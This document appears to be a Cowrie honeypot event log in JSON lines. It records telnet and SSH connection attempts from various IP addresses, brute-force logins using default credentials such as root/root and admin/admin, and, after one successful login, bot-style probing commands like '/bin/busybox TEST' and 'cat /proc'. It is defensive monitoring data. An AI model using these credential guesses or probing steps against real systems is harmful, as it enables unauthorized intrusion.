{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42428,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a6f274decd","protocol":"telnet","message":"New connection: 135.148.14.151:42428 (159.203.135.109:23) [session: 26a6f274decd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:07:46.929809Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48708,"dst_ip":"159.203.135.109","dst_port":23,"session":"c60a8af6e483","protocol":"telnet","message":"New connection: 135.148.14.151:48708 (159.203.135.109:23) [session: c60a8af6e483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:00.670472Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":49206,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f4f594f8bfb","protocol":"ssh","message":"New connection: 103.149.170.125:49206 (10.17.0.5:22) [session: 8f4f594f8bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:12.370466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:12.375208Z","src_ip":"103.149.170.125","session":"8f4f594f8bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:12.636504Z","src_ip":"103.149.170.125","session":"8f4f594f8bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220788","message":"login attempt [root/220788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:13.407211Z","src_ip":"103.149.170.125","session":"8f4f594f8bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.76465439796448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:13.624261Z","src_ip":"135.148.14.151","session":"d1ba97821558","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:14.662553Z","src_ip":"103.149.170.125","session":"8f4f594f8bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56100,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd56001e22dc","protocol":"telnet","message":"New connection: 135.148.14.151:56100 (159.203.135.109:23) [session: fd56001e22dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:19.422523Z"}
{"eventid":"cowrie.session.closed","duration":35.37185835838318,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:22.301558Z","src_ip":"135.148.14.151","session":"26a6f274decd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34212,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7ee356a7a6a","protocol":"telnet","message":"New connection: 135.148.14.151:34212 (159.203.135.109:23) [session: a7ee356a7a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:30.952291Z"}
{"eventid":"cowrie.session.closed","duration":35.70966458320618,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:36.380002Z","src_ip":"135.148.14.151","session":"c60a8af6e483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.821441411972046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:08:51.243851Z","src_ip":"135.148.14.151","session":"fd56001e22dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12147855758667,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:08.073626Z","src_ip":"135.148.14.151","session":"a7ee356a7a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":40812,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff267513e951","protocol":"telnet","message":"New connection: 176.65.139.220:40812 (159.203.135.109:23) [session: ff267513e951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:37.452006Z"}
{"eventid":"cowrie.session.closed","duration":0.060352325439453125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:37.512217Z","src_ip":"176.65.139.220","session":"ff267513e951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":40824,"dst_ip":"159.203.135.109","dst_port":23,"session":"cabda71538d5","protocol":"telnet","message":"New connection: 176.65.139.220:40824 (159.203.135.109:23) [session: cabda71538d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:37.590568Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:38.462174Z","src_ip":"176.65.139.220","session":"cabda71538d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.167351007461548,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:39.757804Z","src_ip":"176.65.139.220","session":"cabda71538d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":40842,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff28b8e0e2f1","protocol":"telnet","message":"New connection: 176.65.139.220:40842 (159.203.135.109:23) [session: ff28b8e0e2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:39.836316Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:40.384439Z","src_ip":"176.65.139.220","session":"ff28b8e0e2f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.6645188331604004,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:41.500576Z","src_ip":"176.65.139.220","session":"ff28b8e0e2f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.220","src_port":40870,"dst_ip":"159.203.135.109","dst_port":23,"session":"28af34e43e70","protocol":"telnet","message":"New connection: 176.65.139.220:40870 (159.203.135.109:23) [session: 28af34e43e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:41.578931Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:42.519768Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:42.579239Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:43.741034Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:44.271900Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:44.939852Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:45.752962Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:45.758295Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.8","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:46.416858Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.848744869232178,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:46.427590Z","src_ip":"176.65.139.220","session":"28af34e43e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44612,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ecf33b50538","protocol":"telnet","message":"New connection: 135.148.14.151:44612 (159.203.135.109:23) [session: 3ecf33b50538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:09:54.385604Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47778,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4a6a0372bc5","protocol":"telnet","message":"New connection: 135.148.14.151:47778 (159.203.135.109:23) [session: f4a6a0372bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:00.345043Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47282,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f984dbdc6a8","protocol":"telnet","message":"New connection: 135.148.14.151:47282 (159.203.135.109:23) [session: 7f984dbdc6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:06.344229Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51394,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2c5edbc7bf","protocol":"telnet","message":"New connection: 135.148.14.151:51394 (159.203.135.109:23) [session: 4d2c5edbc7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:08.986328Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52698,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a48c5bce1b5","protocol":"telnet","message":"New connection: 135.148.14.151:52698 (159.203.135.109:23) [session: 9a48c5bce1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:10.699407Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":44228,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f66e814c66","protocol":"ssh","message":"New connection: 51.250.105.222:44228 (159.203.135.109:22) [session: c1f66e814c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:15.292374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:15.301366Z","src_ip":"51.250.105.222","session":"c1f66e814c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:15.432227Z","src_ip":"51.250.105.222","session":"c1f66e814c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:15.851439Z","src_ip":"51.250.105.222","session":"c1f66e814c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:16.991050Z","src_ip":"51.250.105.222","session":"c1f66e814c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58902,"dst_ip":"159.203.135.109","dst_port":23,"session":"47454f42a032","protocol":"telnet","message":"New connection: 135.148.14.151:58902 (159.203.135.109:23) [session: 47454f42a032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:23.828223Z"}
{"eventid":"cowrie.session.closed","duration":35.83867788314819,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:30.224219Z","src_ip":"135.148.14.151","session":"3ecf33b50538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.097235679626465,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:36.442166Z","src_ip":"135.148.14.151","session":"f4a6a0372bc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88785481452942,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:41.231932Z","src_ip":"135.148.14.151","session":"7f984dbdc6a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4046356678009,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:47.103857Z","src_ip":"135.148.14.151","session":"9a48c5bce1b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":52462,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ac2a02b387","protocol":"ssh","message":"New connection: 103.173.227.57:52462 (159.203.135.109:22) [session: 39ac2a02b387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:47.781329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:47.786660Z","src_ip":"103.173.227.57","session":"39ac2a02b387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:48.041651Z","src_ip":"103.173.227.57","session":"39ac2a02b387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:48.798640Z","src_ip":"103.173.227.57","session":"39ac2a02b387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:50.054104Z","src_ip":"103.173.227.57","session":"39ac2a02b387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43774,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4274e61c471","protocol":"telnet","message":"New connection: 135.148.14.151:43774 (159.203.135.109:23) [session: e4274e61c471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:53.349021Z"}
{"eventid":"cowrie.session.closed","duration":45.96551299095154,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:54.951705Z","src_ip":"135.148.14.151","session":"4d2c5edbc7bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":38448,"dst_ip":"159.203.135.109","dst_port":22,"session":"3482ad659d47","protocol":"ssh","message":"New connection: 77.94.47.83:38448 (159.203.135.109:22) [session: 3482ad659d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:55.309938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:55.315335Z","src_ip":"77.94.47.83","session":"3482ad659d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:55.424655Z","src_ip":"77.94.47.83","session":"3482ad659d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:55.756520Z","src_ip":"77.94.47.83","session":"3482ad659d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:56.868491Z","src_ip":"77.94.47.83","session":"3482ad659d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43878,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc2b6b457432","protocol":"telnet","message":"New connection: 135.148.14.151:43878 (159.203.135.109:23) [session: cc2b6b457432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:57.568707Z"}
{"eventid":"cowrie.session.closed","duration":35.836652517318726,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:10:59.664708Z","src_ip":"135.148.14.151","session":"47454f42a032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef4301158545","protocol":"telnet","message":"New connection: 135.148.14.151:49652 (159.203.135.109:23) [session: ef4301158545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:02.484811Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8958,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3dfd5b76334","protocol":"ssh","message":"New connection: 87.251.64.176:8958 (10.17.0.5:22) [session: a3dfd5b76334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:11:13.300672Z"}
